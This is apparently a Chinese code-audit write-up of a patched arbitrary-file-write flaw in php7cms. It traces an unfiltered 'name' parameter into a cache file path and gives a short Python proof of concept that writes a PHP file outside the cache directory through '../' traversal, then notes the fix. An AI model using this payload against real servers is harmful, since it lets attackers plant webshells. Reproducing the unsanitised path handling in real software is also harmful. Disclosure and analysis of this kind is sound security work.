[程式碼審計]php7cms 無條件前臺getshell
Version:2018-1 0-09
//最新版中以修復此漏洞
這個漏洞很簡單,如果作者在寫程式碼的時候考慮到一點點安全方面,其實都可以避免的。
// php7cms/Core/Controllers/Api/Api.php // 52~61 line public function save_form_data() { $rt = \Phpcmf\Service::L('cache')->init('file')->save( \Phpcmf\Service::L('Input')->get('name'), \Phpcmf\Service::L('Input')->post('data'), 7200 ); var_dump($rt); exit; }
呼叫了Cache類中 init 函式,引數分別為get(‘name’)和post(‘data’)。
// php7cms/Fcms/Library/Cache.php // 112~121 line public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') { $config = new \Config\Cache(); $config->handler = 'file'; $config->prefix = $prefix; !$config->prefix && $config->prefix = 'site-'.SITE_ID.'-'; $config->path = WRITEPATH.'caching/'; $cache = \Config\Services::cache($config, 0); return $cache; }
初始化快取類,為prefix引數拼接字串後直接無任何過濾直接傳入CI框架的快取類中,中間框架的執行流程就不在文章裡寫了。
直接看最後一步
// php7cms/System/Cache/Handlers // 107~125 line public function save(string $key, $value, int $ttl = 60) { $key = $this->prefix . $key; $contents = [ 'time' => time(), 'ttl' => $ttl, 'data' => $value, ]; if ($this->writeFile($this->path . $key, serialize($contents))) { chmod($this->path . $key, 0640); return true; } return false; }
//324~345 line protected function writeFile($path, $data, $mode = 'wb') { if (($fp = @fopen($path, $mode)) === false) { return false; } flock($fp, LOCK_EX); for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result) { if (($result = fwrite($fp, substr($data, $written))) === false) { break; } } flock($fp, LOCK_UN); fclose($fp); return is_int($result); }
直接寫入到快取目錄中,其中並沒有過濾”.”和”/”,可以跨目錄寫入。所以不需要考慮路由問題。
POC:
from requests import post postData = { 'data':'<?php phpinfo()?>' } postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)
新版修復:
首先給dr_safe_replace 引數增加了兩個新的過濾條件 ” . “和 ” ‘ “,在原本漏洞出發點接收get值的時候用這個函式過濾。